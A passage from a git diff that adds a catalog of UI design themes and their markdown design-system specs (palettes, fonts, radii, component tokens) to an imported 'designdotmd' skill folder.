"Rofi", + "tags": [ + "Fitness", + "Bold", + "Mono" + ], + "tagline": "Barbell black: chalk white, rep red, rubber mat." + }, + { + "id": "running-kilometer", + "name": "Running Kilometer", + "author": "Rofi", + "tags": [ + "Fitness", + "Playful", + "Sans" + ], + "tagline": "Runner app: track orange, split white, PR green." + }, + { + "id": "surf-daybreak", + "name": "Surf Daybreak", + "author": "Rofi", + "tags": [ + "Sports", + "Warm", + "Soft" + ], + "tagline": "Surf forecast: ocean teal, dawn coral, seafoam." + }, + { + "id": "ski-alpine", + "name": "Ski Alpine", + "author": "Rofi", + "tags": [ + "Sports", + "Cool", + "Bold" + ], + "tagline": "Alpine signage: glacier blue, piste red, powder white." + }, + { + "id": "speakeasy", + "name": "Speakeasy", + "author": "Rofi", + "tags": [ + "Hospitality", + "Dark", + "Serif" + ], + "tagline": "Hidden bar: velvet black, candle amber, brass knob." + }, + { + "id": "nightclub-strobe", + "name": "Nightclub Strobe", + "author": "Rofi", + "tags": [ + "Music", + "Dark", + "Bold" + ], + "tagline": "Berlin techno: stark black, strobe white, bass magenta." + }, + { + "id": "spa-onsen", + "name": "Spa Onsen", + "author": "Rofi", + "tags": [ + "Wellness", + "Soft", + "Serif" + ], + "tagline": "Onsen: wet-stone grey, steam-rose, cedar accent." + }, + { + "id": "airport-departures", + "name": "Airport Departures", + "author": "Rofi", + "tags": [ + "Travel", + "Technical", + "Mono" + ], + "tagline": "Departure board: flap black, amber status, gate mono." + }, + { + "id": "pet-pawprint", + "name": "Pet Pawprint", + "author": "Rofi", + "tags": [ + "Pet", + "Warm", + "Playful" + ], + "tagline": "Pet care: biscuit tan, wag blue, squeak yellow." + }, + { + "id": "horology-chronograph", + "name": "Horology Chronograph", + "author": "Rofi", + "tags": [ + "Fashion", + "Dark", + "Serif" + ], + "tagline": "Swiss watchmaking: dial black, subdial silver, second red." + }, + { + "id": "barbershop-pole", + "name": "Barbershop Pole", + "author": "Rofi", + "tags": [ + "Lifestyle", + "Bold", + "Serif" + ], + "tagline": "Classic barbershop: stripe red, ivory lather, nickel." + }, + { + "id": "tattoo-studio", + "name": "Tattoo Studio", + "author": "Rofi", + "tags": [ + "Lifestyle", + "Dark", + "Bold" + ], + "tagline": "Tattoo parlor: ink black, stencil blue, flash-sheet red." + }, + { + "id": "florist-bouquet", + "name": "Florist Bouquet", + "author": "Rofi", + "tags": [ + "Retail", + "Warm", + "Serif" + ], + "tagline": "Boutique florist: petal blush, stem green, kraft paper." + }, + { + "id": "tea-house", + "name": "Tea House", + "author": "Rofi", + "tags": [ + "Food", + "Soft", + "Serif" + ], + "tagline": "Matcha ceremony: rice paper, bamboo green, clay red." + }, + { + "id": "observatory", + "name": "Observatory", + "author": "Rofi", + "tags": [ + "Technical", + "Dark", + "Serif" + ], + "tagline": "Deep-sky catalog: nebula black, star cream, redshift." + }, + { + "id": "spatial-glass", + "name": "Spatial Glass", + "author": "Rofi", + "tags": [ + "Technical", + "Soft", + "Cool" + ], + "tagline": "AR OS: frosted lens, aurora gradient, depth hairline." + }, + { + "id": "3d-sculpt", + "name": "3D Sculpt", + "author": "Rofi", + "tags": [ + "Technical", + "Dark", + "Sans" + ], + "tagline": "3D viewport: studio grey, mesh cyan, normal magenta." + }, + { + "id": "oss-terminal", + "name": "OSS Terminal", + "author": "Rofi", + "tags": [ + "Technical", + "Mono", + "Minimal" + ], + "tagline": "README-first OSS: bone paper, diff green, PR purple." + }, + { + "id": "midjourney-dream", + "name": "Dream Engine", + "author": "Rofi", + "tags": [ + "Technical", + "Dark", + "Soft" + ], + "tagline": "Generative AI: obsidian surface, dream violet, seed amber." + }, + { + "id": "analytics-crisp", + "name": "Analytics Crisp", + "author": "Rofi", + "tags": [ + "Technical", + "Minimal", + "Sans" + ], + "tagline": "Analytics: crisp white, chart iris, chart peach." + }, + { + "id": "law-chambers", + "name": "Law Chambers", + "author": "Rofi", + "tags": [ + "Corporate", + "Serif", + "Minimal" + ], + "tagline": "Chambers: oxblood, foolscap cream, barrister grey." + }, + { + "id": "mutual-aid", + "name": "Mutual Aid", + "author": "Rofi", + "tags": [ + "Nonprofit", + "Warm", + "Sans" + ], + "tagline": "Mutual-aid zine: risograph orange, handbill mono, masking tape." + }, + { + "id": "storybook-paper", + "name": "Storybook Paper", + "author": "Rofi", + "tags": [ + "Kids", + "Warm", + "Serif" + ], + "tagline": "Children's storybook: butter paper, crayon scribbles." + }, + { + "id": "chapel-stained", + "name": "Chapel Stained", + "author": "Rofi", + "tags": [ + "Spiritual", + "Dark", + "Serif" + ], + "tagline": "Chapel hymnal: stained-glass blue, gilt, parchment." + }, + { + "id": "theatre-playbill", + "name": "Theatre Playbill", + "author": "Rofi", + "tags": [ + "Culture", + "Bold", + "Serif" + ], + "tagline": "Playbill cream: stage black, curtain red, footlight gold." + }, + { + "id": "science-journal", + "name": "Science Journal", + "author": "Rofi", + "tags": [ + "Editorial", + "Minimal", + "Serif" + ], + "tagline": "Scientific-journal: paper-white column, abstract-blue plates." + }, + { + "id": "skate-deck", + "name": "Skate Deck", + "author": "Rofi", + "tags": [ + "Sports", + "Bold", + "Playful" + ], + "tagline": "Skate-deck graphic: griptape black, neon green, spray pink." + }, + { + "id": "cafe-racer", + "name": "Cafe Racer", + "author": "Rofi", + "tags": [ + "Automotive", + "Dark", + "Mono" + ], + "tagline": "Cafe-racer: engine black, tank stripe, chrome spoke." + }, + { + "id": "comic-ink", + "name": "Comic Ink", + "author": "Rofi", + "tags": [ + "Media", + "Bold", + "Playful" + ], + "tagline": "Comic panel: pulp yellow, hero red, ink-black panel rules." + }, + { + "id": "board-game-tavern", + "name": "Tavern Tabletop", + "author": "Rofi", + "tags": [ + "Gameplay", + "Warm", + "Serif" + ], + "tagline": "Tabletop tavern: parchment map, wax-seal red, inked routes." + }, + { + "id": "coworking-loft", + "name": "Coworking Loft", + "author": "Rofi", + "tags": [ + "Architecture", + "Warm", + "Sans" + ], + "tagline": "Loft coworking: warm concrete, mustard, exposed brick." + }, + { + "id": "luxe-commerce", + "name": "Luxe Commerce", + "author": "Rofi", + "tags": [ + "Retail", + "Minimal", + "Serif" + ], + "tagline": "DTC luxury: porcelain, bone ink, brushed copper." + }, + { + "id": "poker-felt", + "name": "Poker Felt", + "author": "Rofi", + "tags": [ + "Gameplay", + "Dark", + "Serif" + ], + "tagline": "Poker table: felt green, card ivory, chip red." + }, + { + "id": "national-park", + "name": "National Park", + "author": "Rofi", + "tags": [ + "Nature", + "Warm", + "Serif" + ], + "tagline": "Park signage: pine green, canyon rust, trail ochre." + }, + { + "id": "hackerspace", + "name": "Hackerspace", + "author": "Rofi", + "tags": [ + "Technical", + "Dark", + "Mono" + ], + "tagline": "Solder room: PCB green, header amber, silkscreen white." + }, + { + "id": "farmers-market", + "name": "Farmers Market", + "author": "Rofi", + "tags": [ + "Food", + "Warm", + "Serif" + ], + "tagline": "Chalkboard signs, crate wood, tomato red." + }, + { + "id": "remote-hub", + "name": "Remote Hub", + "author": "Rofi", + "tags": [ + "Social", + "Cool", + "Sans" + ], + "tagline": "Remote-team dashboard: horizon blue, timezone teal." + }, + { + "id": "scandi-pine", + "name": "Scandi Pine", + "author": "Rofi", + "tags": [ + "Retail", + "Soft", + "Sans" + ], + "tagline": "Scandi interior: birch, oat, one forest pine." + }, + { + "id": "campaign-rally", + "name": "Campaign Rally", + "author": "Rofi", + "tags": [ + "Government", + "Bold", + "Serif" + ], + "tagline": "Campaign signage: stars blue, bunting red, placard white." + } +] \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/3d-sculpt.md b/imported-skills/designdotmd/designs/3d-sculpt.md new file mode 100644 index 0000000000000000000000000000000000000000..128270db1443698466a3a296224ececcb210c4f0 --- /dev/null +++ b/imported-skills/designdotmd/designs/3d-sculpt.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: 3D Sculpt +description: 3D viewport: studio grey, mesh cyan, normal magenta. +colors: + primary: "#E8E8E6" + secondary: "#8C8B88" + tertiary: "#00BFCF" + neutral: "#1C1C1E" + surface: "#252527" + on-primary: "#1C1C1E" +typography: + display: + fontFamily: Space Grotesk + fontSize: 3.5rem + fontWeight: 600 + letterSpacing: "-0.02em" + h1: + fontFamily: Space Grotesk + fontSize: 1.85rem + fontWeight: 600 + body: + fontFamily: Inter + fontSize: 0.92rem + lineHeight: 1.55 + label: + fontFamily: IBM Plex Mono + fontSize: 0.7rem + letterSpacing: "0.06em" +rounded: + sm: 3px + md: 6px + lg: 10px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A 3D-tool palette: studio-grey viewport, mesh-cyan highlight, normal-magenta axis accent. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#E8E8E6`):** Headlines and core text. +- **Secondary (`#8C8B88`):** Borders, captions, and metadata. +- **Tertiary (`#00BFCF`):** The sole driver for interaction. Reserve it. +- **Neutral (`#1C1C1E`):** The page foundation. + +## Typography + +- **display:** Space Grotesk 3.5rem +- **h1:** Space Grotesk 1.85rem +- **body:** Inter 0.92rem +- **label:** IBM Plex Mono 0.7rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/3d-sculpt.meta.json b/imported-skills/designdotmd/designs/3d-sculpt.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..2b01712678f141311097c9288d7e5e985ac361a2 --- /dev/null +++ b/imported-skills/designdotmd/designs/3d-sculpt.meta.json @@ -0,0 +1,4 @@ +{ + "id": "3d-sculpt", + "name": "3D Sculpt" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/ai-labs.md b/imported-skills/designdotmd/designs/ai-labs.md new file mode 100644 index 0000000000000000000000000000000000000000..2f05f4bcdda5b07fe1666dffc4730c574a320425 --- /dev/null +++ b/imported-skills/designdotmd/designs/ai-labs.md @@ -0,0 +1,74 @@ +--- +version: alpha +name: AI Labs +description: Research-paper white, terminal-green prompts. +colors: + primary: "#0F1112" + secondary: "#6F7478" + tertiary: "#00A36C" + neutral: "#FAFAF8" + surface: "#FFFFFF" + on-primary: "#FFFFFF" +typography: + display: + fontFamily: IBM Plex Sans + fontSize: 3.5rem + fontWeight: 500 + letterSpacing: "-0.02em" + h1: + fontFamily: IBM Plex Sans + fontSize: 2rem + fontWeight: 500 + body: + fontFamily: IBM Plex Sans + fontSize: 0.95rem + lineHeight: 1.6 + label: + fontFamily: IBM Plex Mono + fontSize: 0.72rem +rounded: + sm: 3px + md: 5px + lg: 8px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +Clean research-console aesthetic: bright paper, thin hairlines, matrix-green for model responses. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#0F1112`):** Headlines and core text. +- **Secondary (`#6F7478`):** Borders, captions, and metadata. +- **Tertiary (`#00A36C`):** The sole driver for interaction. Reserve it. +- **Neutral (`#FAFAF8`):** The page foundation. + +## Typography + +- **display:** IBM Plex Sans 3.5rem +- **h1:** IBM Plex Sans 2rem +- **body:** IBM Plex Sans 0.95rem +- **label:** IBM Plex Mono 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/ai-labs.meta.json b/imported-skills/designdotmd/designs/ai-labs.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..81ab5de529486c30ed9977b12e7167461a792bb1 --- /dev/null +++ b/imported-skills/designdotmd/designs/ai-labs.meta.json @@ -0,0 +1,4 @@ +{ + "id": "ai-labs", + "name": "AI Labs" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/airline-altitude.md b/imported-skills/designdotmd/designs/airline-altitude.md new file mode 100644 index 0000000000000000000000000000000000000000..b441307e681182fc69ff221250550150259e8fde --- /dev/null +++ b/imported-skills/designdotmd/designs/airline-altitude.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Airline Altitude +description: Boarding-pass minimal: sky grey, contrail teal. +colors: + primary: "#15222D" + secondary: "#6B7884" + tertiary: "#00A3B4" + neutral: "#EFF3F6" + surface: "#FFFFFF" + on-primary: "#FFFFFF" +typography: + display: + fontFamily: Space Grotesk + fontSize: 3.75rem + fontWeight: 500 + letterSpacing: "-0.03em" + h1: + fontFamily: Space Grotesk + fontSize: 2rem + fontWeight: 500 + body: + fontFamily: Inter + fontSize: 0.95rem + lineHeight: 1.55 + label: + fontFamily: Space Grotesk + fontSize: 0.72rem + fontWeight: 500 + letterSpacing: "0.14em" +rounded: + sm: 2px + md: 4px + lg: 8px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +An airline-brand palette: sky grey surfaces, contrail teal, disciplined sans. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#15222D`):** Headlines and core text. +- **Secondary (`#6B7884`):** Borders, captions, and metadata. +- **Tertiary (`#00A3B4`):** The sole driver for interaction. Reserve it. +- **Neutral (`#EFF3F6`):** The page foundation. + +## Typography + +- **display:** Space Grotesk 3.75rem +- **h1:** Space Grotesk 2rem +- **body:** Inter 0.95rem +- **label:** Space Grotesk 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/airline-altitude.meta.json b/imported-skills/designdotmd/designs/airline-altitude.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..6f764cb69479c244b7ffaf6e9d9f651fe47f6f99 --- /dev/null +++ b/imported-skills/designdotmd/designs/airline-altitude.meta.json @@ -0,0 +1,4 @@ +{ + "id": "airline-altitude", + "name": "Airline Altitude" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/airport-departures.md b/imported-skills/designdotmd/designs/airport-departures.md new file mode 100644 index 0000000000000000000000000000000000000000..2faaa43c7933af29821a55053a6cdec954a6d28e --- /dev/null +++ b/imported-skills/designdotmd/designs/airport-departures.md @@ -0,0 +1,74 @@ +--- +version: alpha +name: Airport Departures +description: Departure board: flap black, amber status, gate mono. +colors: + primary: "#F2B53A" + secondary: "#8E6F25" + tertiary: "#F2F2EF" + neutral: "#0D0D0D" + surface: "#141413" + on-primary: "#0D0D0D" +typography: + display: + fontFamily: IBM Plex Mono + fontSize: 3rem + fontWeight: 700 + h1: + fontFamily: IBM Plex Mono + fontSize: 1.7rem + fontWeight: 600 + body: + fontFamily: IBM Plex Mono + fontSize: 0.92rem + lineHeight: 1.5 + label: + fontFamily: IBM Plex Mono + fontSize: 0.7rem + letterSpacing: "0.1em" +rounded: + sm: 0px + md: 0px + lg: 2px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A split-flap departure-board palette: flap-black panel, amber status chars, disciplined mono. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#F2B53A`):** Headlines and core text. +- **Secondary (`#8E6F25`):** Borders, captions, and metadata. +- **Tertiary (`#F2F2EF`):** The sole driver for interaction. Reserve it. +- **Neutral (`#0D0D0D`):** The page foundation. + +## Typography + +- **display:** IBM Plex Mono 3rem +- **h1:** IBM Plex Mono 1.7rem +- **body:** IBM Plex Mono 0.92rem +- **label:** IBM Plex Mono 0.7rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/airport-departures.meta.json b/imported-skills/designdotmd/designs/airport-departures.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..31256299c4ff6c93fed44df11ee0758f7b793fe7 --- /dev/null +++ b/imported-skills/designdotmd/designs/airport-departures.meta.json @@ -0,0 +1,4 @@ +{ + "id": "airport-departures", + "name": "Airport Departures" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/analytics-crisp.md b/imported-skills/designdotmd/designs/analytics-crisp.md new file mode 100644 index 0000000000000000000000000000000000000000..bf1ae7ecfe6e5309dee1b9a36ee947b3297c1191 --- /dev/null +++ b/imported-skills/designdotmd/designs/analytics-crisp.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Analytics Crisp +description: Analytics: crisp white, chart iris, chart peach. +colors: + primary: "#121418" + secondary: "#6A6F77" + tertiary: "#5A4FE0" + neutral: "#F7F8FA" + surface: "#FFFFFF" + on-primary: "#FFFFFF" +typography: + display: + fontFamily: Inter + fontSize: 3.5rem + fontWeight: 700 + letterSpacing: "-0.03em" + h1: + fontFamily: Inter + fontSize: 1.9rem + fontWeight: 700 + body: + fontFamily: Inter + fontSize: 0.92rem + lineHeight: 1.55 + label: + fontFamily: Inter + fontSize: 0.7rem + fontWeight: 600 + letterSpacing: "0.04em" +rounded: + sm: 4px + md: 8px + lg: 14px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +An analytics-dashboard palette: paper-white surfaces, chart-iris primary, chart-peach secondary. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#121418`):** Headlines and core text. +- **Secondary (`#6A6F77`):** Borders, captions, and metadata. +- **Tertiary (`#5A4FE0`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F7F8FA`):** The page foundation. + +## Typography + +- **display:** Inter 3.5rem +- **h1:** Inter 1.9rem +- **body:** Inter 0.92rem +- **label:** Inter 0.7rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/analytics-crisp.meta.json b/imported-skills/designdotmd/designs/analytics-crisp.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..99686e114a212c6e8f0ba0104513d21dd88f9e06 --- /dev/null +++ b/imported-skills/designdotmd/designs/analytics-crisp.meta.json @@ -0,0 +1,4 @@ +{ + "id": "analytics-crisp", + "name": "Analytics Crisp" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/aqua-mint.md b/imported-skills/designdotmd/designs/aqua-mint.md new file mode 100644 index 0000000000000000000000000000000000000000..76d28af455d4499639213b167984cea18704e2b8 --- /dev/null +++ b/imported-skills/designdotmd/designs/aqua-mint.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Aqua Mint +description: Seaglass, mint, chilled glass surfaces. +colors: + primary: "#0F2E2C" + secondary: "#5A8280" + tertiary: "#2DD4BF" + neutral: "#E8F7F3" + surface: "#FFFFFF" + on-primary: "#0F2E2C" +typography: + display: + fontFamily: DM Sans + fontSize: 4rem + fontWeight: 700 + letterSpacing: "-0.03em" + h1: + fontFamily: DM Sans + fontSize: 2.25rem + fontWeight: 700 + body: + fontFamily: DM Sans + fontSize: 0.95rem + lineHeight: 1.6 + label: + fontFamily: DM Mono + fontSize: 0.72rem + letterSpacing: "0.06em" +rounded: + sm: 8px + md: 14px + lg: 22px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A refreshing product palette. Pale aqua surfaces, deep teal primary, mint accent. Calm and confident. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#0F2E2C`):** Headlines and core text. +- **Secondary (`#5A8280`):** Borders, captions, and metadata. +- **Tertiary (`#2DD4BF`):** The sole driver for interaction. Reserve it. +- **Neutral (`#E8F7F3`):** The page foundation. + +## Typography + +- **display:** DM Sans 4rem +- **h1:** DM Sans 2.25rem +- **body:** DM Sans 0.95rem +- **label:** DM Mono 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/aqua-mint.meta.json b/imported-skills/designdotmd/designs/aqua-mint.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..88bbff237942c39a748b1c299f70103fad01c12b --- /dev/null +++ b/imported-skills/designdotmd/designs/aqua-mint.meta.json @@ -0,0 +1,4 @@ +{ + "id": "aqua-mint", + "name": "Aqua Mint" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/arcade-neon-pop.md b/imported-skills/designdotmd/designs/arcade-neon-pop.md new file mode 100644 index 0000000000000000000000000000000000000000..e9c49e5dfee7defea986d4cecf1e89ffd493d670 --- /dev/null +++ b/imported-skills/designdotmd/designs/arcade-neon-pop.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Arcade Neon Pop +description: Chunky buttons, rainbow XP bars, candy physics. +colors: + primary: "#1A0B3C" + secondary: "#8A7CA8" + tertiary: "#FF3DA5" + neutral: "#FFF0F6" + surface: "#FFFFFF" + on-primary: "#FFFFFF" +typography: + display: + fontFamily: Luckiest Guy + fontSize: 4.5rem + fontWeight: 400 + letterSpacing: "0.02em" + h1: + fontFamily: Fredoka + fontSize: 2.25rem + fontWeight: 700 + body: + fontFamily: Fredoka + fontSize: 1rem + lineHeight: 1.5 + label: + fontFamily: Fredoka + fontSize: 0.78rem + fontWeight: 600 + letterSpacing: "0.04em" +rounded: + sm: 10px + md: 18px + lg: 28px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A maximalist mobile-game system: thick outlines, saturated gradients, squishy radii. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#1A0B3C`):** Headlines and core text. +- **Secondary (`#8A7CA8`):** Borders, captions, and metadata. +- **Tertiary (`#FF3DA5`):** The sole driver for interaction. Reserve it. +- **Neutral (`#FFF0F6`):** The page foundation. + +## Typography + +- **display:** Luckiest Guy 4.5rem +- **h1:** Fredoka 2.25rem +- **body:** Fredoka 1rem +- **label:** Fredoka 0.78rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/arcade-neon-pop.meta.json b/imported-skills/designdotmd/designs/arcade-neon-pop.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..a80ba62ec256a043f25ddbbc89c995263249688e --- /dev/null +++ b/imported-skills/designdotmd/designs/arcade-neon-pop.meta.json @@ -0,0 +1,4 @@ +{ + "id": "arcade-neon-pop", + "name": "Arcade Neon Pop" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/architect-blueprint.md b/imported-skills/designdotmd/designs/architect-blueprint.md new file mode 100644 index 0000000000000000000000000000000000000000..888fb167b628e30ffc5c8aa823ee5ce6e11b6545 --- /dev/null +++ b/imported-skills/designdotmd/designs/architect-blueprint.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Architect Blueprint +description: Drafting-table blue, tracing paper, pencil-line grid. +colors: + primary: "#0D2234" + secondary: "#5A7589" + tertiary: "#2E8FC4" + neutral: "#E8EDF2" + surface: "#F6F9FC" + on-primary: "#F6F9FC" +typography: + display: + fontFamily: Unica One + fontSize: 4rem + fontWeight: 400 + letterSpacing: "0.04em" + h1: + fontFamily: Archivo + fontSize: 2.1rem + fontWeight: 500 + body: + fontFamily: Inter + fontSize: 0.95rem + lineHeight: 1.6 + label: + fontFamily: IBM Plex Mono + fontSize: 0.7rem + letterSpacing: "0.12em" +rounded: + sm: 0px + md: 0px + lg: 2px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +An architect's-office system. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#0D2234`):** Headlines and core text. +- **Secondary (`#5A7589`):** Borders, captions, and metadata. +- **Tertiary (`#2E8FC4`):** The sole driver for interaction. Reserve it. +- **Neutral (`#E8EDF2`):** The page foundation. + +## Typography + +- **display:** Unica One 4rem +- **h1:** Archivo 2.1rem +- **body:** Inter 0.95rem +- **label:** IBM Plex Mono 0.7rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/architect-blueprint.meta.json b/imported-skills/designdotmd/designs/architect-blueprint.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..bbe3106670dd076d8d4ac8d789676c62d40c00e8 --- /dev/null +++ b/imported-skills/designdotmd/designs/architect-blueprint.meta.json @@ -0,0 +1,4 @@ +{ + "id": "architect-blueprint", + "name": "Architect Blueprint" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/arctic.md b/imported-skills/designdotmd/designs/arctic.md new file mode 100644 index 0000000000000000000000000000000000000000..8ec5b1cf588aaeff06735260765221f68cb4e0cb --- /dev/null +++ b/imported-skills/designdotmd/designs/arctic.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Arctic +description: Glacier white, ice blue, breath of steam. +colors: + primary: "#0E1A24" + secondary: "#627A8B" + tertiary: "#2563EB" + neutral: "#EEF4F9" + surface: "#FFFFFF" + on-primary: "#FFFFFF" +typography: + display: + fontFamily: Manrope + fontSize: 3.75rem + fontWeight: 700 + letterSpacing: "-0.03em" + h1: + fontFamily: Manrope + fontSize: 2.25rem + fontWeight: 700 + body: + fontFamily: Manrope + fontSize: 1rem + lineHeight: 1.6 + label: + fontFamily: Manrope + fontSize: 0.72rem + letterSpacing: "0.06em" +rounded: + sm: 6px + md: 12px + lg: 20px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +Nordic clarity. Glacial whites, cool blue accent, generous negative space. For products that want to feel rigorous without being cold. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#0E1A24`):** Headlines and core text. +- **Secondary (`#627A8B`):** Borders, captions, and metadata. +- **Tertiary (`#2563EB`):** The sole driver for interaction. Reserve it. +- **Neutral (`#EEF4F9`):** The page foundation. + +## Typography + +- **display:** Manrope 3.75rem +- **h1:** Manrope 2.25rem +- **body:** Manrope 1rem +- **label:** Manrope 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/arctic.meta.json b/imported-skills/designdotmd/designs/arctic.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..1ba79649406492a798d86135a4391771b4a29819 --- /dev/null +++ b/imported-skills/designdotmd/designs/arctic.meta.json @@ -0,0 +1,4 @@ +{ + "id": "arctic", + "name": "Arctic" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/atelier-noir.md b/imported-skills/designdotmd/designs/atelier-noir.md new file mode 100644 index 0000000000000000000000000000000000000000..ca7be09491530d24d03c712e8ab597804a1975cd --- /dev/null +++ b/imported-skills/designdotmd/designs/atelier-noir.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Atelier Noir 